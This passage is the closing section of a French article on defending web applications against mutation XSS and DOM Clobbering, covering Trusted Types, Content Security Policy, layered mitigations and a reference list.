Trusted Types ne remplace pas le sanitizer : la politique chargée de créer le TrustedHTML doit elle-même transformer correctement l’entrée.
En revanche, cette approche réduit fortement le risque qu’un développeur introduise ailleurs dans l’application un nouveau innerHTML = untrustedData; sans passer par le mécanisme de sécurité centralisé.
Utiliser la CSP comme défense en profondeur
Une Content Security Policy correctement configurée peut limiter l’impact de nombreuses XSS.
Une politique basée sur des nonces ou des hashes peut notamment bloquer une grande partie du JavaScript inline.
Mais la CSP ne supprime ni une injection HTML, ni une mutation du DOM, ni le named access permettant le DOM Clobbering.
Elle ne doit donc pas être utilisée pour justifier un sanitizer moins strict.
La bonne approche consiste donc à combiner plusieurs couches complémentaires : utiliser des API DOM sûres, appliquer une sanitization adaptée au contexte, limiter strictement les balises et attributs autorisés, écrire un code JavaScript robuste, déployer Trusted Types lorsque cela est pertinent et compléter l’ensemble par une CSP restrictive.
Chaque couche limite une famille différente de scénarios d’exploitation.
Conclusion
Les Mutation XSS et le DOM Clobbering illustrent particulièrement bien la complexité de la sécurité côté navigateur.
Dans une mXSS, la vulnérabilité ne provient pas nécessairement d’un sanitizer incapable de reconnaître une balise <script>. Le problème peut venir du fait que la structure inspectée par le sanitizer n’est plus celle que le navigateur interprète quelques instants plus tard.
Une transition entre les namespaces HTML et MathML, la suppression d’un formulaire lors d’un second parsing ou une simple sérialisation peuvent suffire à transformer une structure inoffensive en XSS.
Le DOM Clobbering exploite une propriété différente : les mécanismes historiques de named access du navigateur permettent à certains éléments HTML de modifier la résolution de propriétés JavaScript.
Une simple injection HTML peut alors influencer un script pourtant légitime et, lorsqu’un gadget exploitable existe, être transformée en redirection, chargement de ressource ou XSS.
Dans les deux cas, le principe de sécurité à retenir est similaire : une donnée ne doit jamais être considérée comme sûre indépendamment du contexte dans lequel elle sera finalement interprétée.
Sanitizer le HTML est nécessaire lorsque du texte riche doit être accepté, mais cela ne suffit pas.
Il faut également maîtriser les parsings successifs, les transformations effectuées après sanitization, les sinks utilisés par l’application, les namespaces autorisés et les interactions entre le DOM et le JavaScript.
C’est cette analyse de bout en bout – de la source contrôlée par l’utilisateur jusqu’à la représentation réellement interprétée par le navigateur – qui permet d’identifier et de prévenir efficacement les vulnérabilités mXSS et DOM Clobbering.
Ressources
- WHATWG – HTML Living Standard, parsing : https://html.spec.whatwg.org/multipage/parsing.html
- MDN – DOMParser.parseFromString() : https://developer.mozilla.org/en-US/docs/Web/API/DOMParser/parseFromString
- MDN – Element.innerHTML : https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML
- DOMPurify – projet officiel : https://github.com/cure53/DOMPurify
- DOMPurify – Attack Classes & Bypass History : https://github.com/cure53/DOMPurify/wiki/Attack-Classes-%26-Bypass-History
- PortSwigger – DOM Clobbering : https://portswigger.net/web-security/dom-based/dom-clobbering
- PortSwigger – DOM Clobbering strikes back : https://portswigger.net/research/dom-clobbering-strikes-back
- Kévin Mizu – Exploring the DOMPurify library: bypasses and fixes : https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes